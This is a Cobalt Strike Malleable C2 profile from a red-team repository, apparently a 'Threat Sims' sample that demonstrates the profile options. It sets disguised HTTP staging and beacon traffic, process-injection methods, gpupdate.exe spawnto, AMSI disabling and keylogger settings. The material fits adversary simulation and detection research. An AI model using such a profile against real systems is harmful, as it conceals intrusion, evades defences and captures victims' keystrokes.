mirror of
https://github.com/waldo-irc/YouMayPasser
synced 2026-06-08 18:07:52 +00:00
Arash
330 lines
10 KiB
Plaintext
Executable File
330 lines
10 KiB
Plaintext
Executable File
#This profile is meant to show all of the options available in Malleable C2
|
||
|
||
|
||
#Various options
|
||
|
||
# Append random-length string (up to data_jitter value) to http-get and http-post server output
|
||
|
||
set sample_name "Threat Sims Test";
|
||
set data_jitter "0";
|
||
set dns_idle "0.0.0.0";
|
||
set dns_max_txt "252";
|
||
set dns_sleep "0";
|
||
set dns_stager_prepend "";
|
||
set dns_stager_subhost ".stage.123456.";
|
||
set dns_ttl "1";
|
||
set host_stage "true"; #Host payload for staging over set, setS, or DNS. Required by stagers.
|
||
set jitter "0";
|
||
set maxdns "255";
|
||
set pipename "threatsims_###"; #Default name of pipe to use for SMB Beacon’s peer-to-peer communication. Each # is replaced witha random hex value.
|
||
set pipename_stager "threatsimsmonitor_##";
|
||
set sleeptime "1000"; #def sleep in ms
|
||
set smb_frame_header "";
|
||
set ssh_banner "Threat Sims Test";
|
||
|
||
set ssh_pipename "TS_ssh_####";
|
||
set tcp_frame_header "";
|
||
set tcp_port "8081";
|
||
|
||
# Defaults for ALL CS set server responses
|
||
|
||
http-config {
|
||
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
|
||
header "Server" "Apache";
|
||
header "Keep-Alive""timeout=5, max=100";
|
||
header "Connection""Keep-Alive";
|
||
|
||
# The set trust_x_forwarded_foroption decides if Cobalt Strike uses the
|
||
# X-Forwarded-For set header to determine the remote address of a request.
|
||
# Use this option if your Cobalt Strike server is behind an set redirector
|
||
set trust_x_forwarded_for "true";
|
||
|
||
|
||
|
||
}
|
||
|
||
|
||
|
||
https-certificate {
|
||
set C "US"; #Country
|
||
set CN "ThreatSims"; # CN - you will probably nver use this, but don't leave at localost
|
||
set L "San Francisco"; #Locality
|
||
set OU "CTF Services"; #Org unit
|
||
set O "Threat Sims"; #Org name
|
||
set ST "CA"; #State
|
||
set validity "365";
|
||
|
||
# if using a valid vert, specify this, keystore = java keystore
|
||
#set keystore "domain.store";
|
||
#set password "mypassword";
|
||
|
||
}
|
||
|
||
|
||
#If you have code signing cert:
|
||
#code-signer {
|
||
# set keystore "keystore.jks";
|
||
# set password "password";
|
||
# set alias "server";
|
||
# set timestamp "false";
|
||
# set timestamp_url "set://timestamp.digicert.com";
|
||
#}
|
||
|
||
|
||
|
||
#Stager is only supported as a GET request and it will use AFAICT the IE on Windows.
|
||
http-stager {
|
||
set uri_x86 "/api/v7/threatsims/start";
|
||
set uri_x64 "/api/v7/threatsims/x64/start";
|
||
client {
|
||
parameter "uuid" "fj289fm1-0asdfasb-49asdfe-a3234b-4f62asdf369121";
|
||
#header "headername" "headervalue";
|
||
}
|
||
server {
|
||
header "Content-Type" "application/octet-stream";
|
||
header "Content-Encoding" "gzip";
|
||
output {
|
||
#GZIP headers and footers
|
||
#prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
|
||
#append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
|
||
#AFAICT print is the only supported terminator
|
||
print;
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
#This is used only in http-get and http-post and not during stage
|
||
set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
|
||
|
||
# define indicators for an set GET
|
||
http-get {
|
||
# we require a stub URI to attach the rest of our data to.
|
||
set uri "/api/v7/threatsims/getData";
|
||
|
||
client {
|
||
|
||
header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
|
||
# mask our metadata, base64 encode it, store it in the URI
|
||
metadata {
|
||
|
||
|
||
# XOR encode the value
|
||
mask;
|
||
|
||
# URL-safe Base64 Encode
|
||
#base64url;
|
||
|
||
# URL-safe Base64 Encode
|
||
base64;
|
||
|
||
# NetBIOS Encode ‘a’ ?
|
||
#netbios;
|
||
|
||
#NetBIOS Encode ‘A’
|
||
#netbiosu;
|
||
|
||
# You probably want these to be last two, else you will encode these values
|
||
|
||
# Append a string to metadata
|
||
append ";" ;
|
||
|
||
# Prepend a string
|
||
prepend "SESSION=";
|
||
# Terminator statements - these say where the metadata goes
|
||
# Pick one
|
||
|
||
# Append to URI
|
||
#uri-append;
|
||
|
||
|
||
|
||
#Set in a header
|
||
header "Cookie";
|
||
|
||
#Send data as transaction body
|
||
#print
|
||
|
||
#Store data in a URI parameter
|
||
#parameter "someparam"
|
||
|
||
}
|
||
}
|
||
|
||
server {
|
||
header "Content-Type" "application/octet-stream";
|
||
header "Content-Encoding" "gzip";
|
||
# prepend some text in case the GET is empty.
|
||
output {
|
||
mask;
|
||
base64;
|
||
#prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
|
||
#append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
|
||
print;
|
||
}
|
||
}
|
||
}
|
||
|
||
# define indicators for an set POST
|
||
http-post {
|
||
set uri "/api/v7/threatsims/ctf/threatsims/";
|
||
set verb "POST";
|
||
|
||
client {
|
||
# make it look like we're posting something cool.
|
||
header "Content-Type" "application/json";
|
||
header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
|
||
|
||
# ugh, our data has to go somewhere!
|
||
output {
|
||
|
||
mask;
|
||
base64url;
|
||
uri-append;
|
||
}
|
||
|
||
# randomize and post our session ID
|
||
id {
|
||
mask;
|
||
base64url;
|
||
prepend "{version: 7, d=\x23";
|
||
append "\x23}\n";
|
||
print;
|
||
}
|
||
}
|
||
|
||
# The server's response to our set POST
|
||
server {
|
||
header "Content-Type" "application/octet-stream";
|
||
header "Content-Encoding" "gzip";
|
||
|
||
# post usually sends nothing, so let's prepend a string, mask it, and
|
||
# base64 encode it. We'll get something different back each time.
|
||
output {
|
||
mask;
|
||
base64;
|
||
#prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
|
||
#append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
|
||
print;
|
||
}
|
||
|
||
|
||
}
|
||
}
|
||
|
||
|
||
stage {
|
||
|
||
|
||
# The transform-x86 and transform-x64 blocks pad and transform Beacon’s
|
||
# Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
|
||
transform-x86 {
|
||
# prepend "\x90\x90";
|
||
# strrep "ReflectiveLoader" "DoLegitStuff";
|
||
}
|
||
|
||
transform-x64 {
|
||
# transform the x64 rDLL stage, same options as with
|
||
}
|
||
# stringw "I am not Beacon";
|
||
|
||
set allocator "VirtualAlloc"; # HeapAlloc,MapViewOfFile, and VirtualAlloc.
|
||
set cleanup "true"; # Ask Beacon to attempt to free memory associated with
|
||
# the Reflective DLL package that initialized it.
|
||
|
||
# Override the first bytes (MZ header included) of Beacon's Reflective DLL.
|
||
# Valid x86 instructions are required. Follow instructions that change
|
||
# CPU state with instructions that undo the change.
|
||
|
||
#set magic_mz_x86 "MZRE";
|
||
#set magic_mz_x86 "MZAR";
|
||
|
||
#set magic_pe "PE"; #Override PE marker with something else
|
||
|
||
# Ask the x86 ReflectiveLoader to load the specified library and overwrite
|
||
# its space instead of allocating memory with VirtualAlloc.
|
||
# Only works with VirtualAlloc
|
||
#set module_x86 "xpsservices.dll";
|
||
#set module_x64 "xpsservices.dll";
|
||
|
||
# Obfuscate the Reflective DLL’s import table, overwrite unused header content,
|
||
# and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
|
||
set obfuscate "false";
|
||
|
||
# Obfuscate Beacon, in-memory, prior to sleeping
|
||
set sleep_mask "false";
|
||
|
||
# Use embedded function pointer hints to bootstrap Beacon agent without
|
||
# walking kernel32 EAT
|
||
set smartinject "false";
|
||
|
||
# Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after
|
||
# it loads Beacon payload
|
||
set stomppe "false";
|
||
|
||
|
||
# Ask ReflectiveLoader to use (true) or avoid RWX permissions (false) for Beacon DLL in memory
|
||
set userwx "true";
|
||
|
||
# PE header cloning - see "petool", skipped for now
|
||
# set compile_time "14 Jul 2018 8:14:00";
|
||
# set image_size_x86 "512000";
|
||
# set image_size_x64 "512000";
|
||
# set entry_point "92145";
|
||
|
||
#The Exported name of the Beacon DLL
|
||
#set name "beacon.x64.dll"
|
||
|
||
#set rich_header # I don't understand this yet TODO: fixme
|
||
|
||
#TODO: add examples process-inject
|
||
}
|
||
|
||
process-inject {
|
||
# set how memory is allocated in a remote process
|
||
# VirtualAllocEx or NtMapViewOfSection. The
|
||
# NtMapViewOfSection option is for same-architecture injection only.
|
||
# VirtualAllocEx is always used for cross-arch memory allocations.
|
||
|
||
set allocator "VirtualAllocEx";
|
||
# shape the memory characteristics and content
|
||
set min_alloc "16384";
|
||
set startrwx "false";
|
||
set userwx "false";
|
||
transform-x86 {
|
||
prepend "\x90\x90\x41\x41";
|
||
}
|
||
transform-x64 {
|
||
# transform x64 injected content
|
||
}
|
||
# determine how to execute the injected code
|
||
execute {
|
||
CreateThread "ntdll.dll!RtlUserThreadStart";
|
||
SetThreadContext;
|
||
RtlCreateUserThread;
|
||
}
|
||
}
|
||
post-ex {
|
||
# control the temporary process we spawn to
|
||
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
|
||
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
|
||
# change the permissions and content of our post-ex DLLs
|
||
set obfuscate "true";
|
||
# change our post-ex output named pipe names...
|
||
set pipename "msrts_####, win\\msrts_##";
|
||
# pass key function pointers from Beacon to its child jobs
|
||
set smartinject "false";
|
||
# disable AMSI in powerpick, execute-assembly, and psinject
|
||
set amsi_disable "true";
|
||
|
||
|
||
#The thread_hint option allows multi-threaded post-ex DLLs to spawn
|
||
# threads with a spoofed start address. Specify the thread hint as
|
||
# “module!function+0x##” to specify the start address to spoof.
|
||
# The optional 0x## part is an offset added to the start address.
|
||
# set thread_hint "....TODO:FIXME"
|
||
|
||
# options are: GetAsyncKeyState (def) or SetWindowsHookEx
|
||
set keylogger "GetAsyncKeyState";
|
||
}
|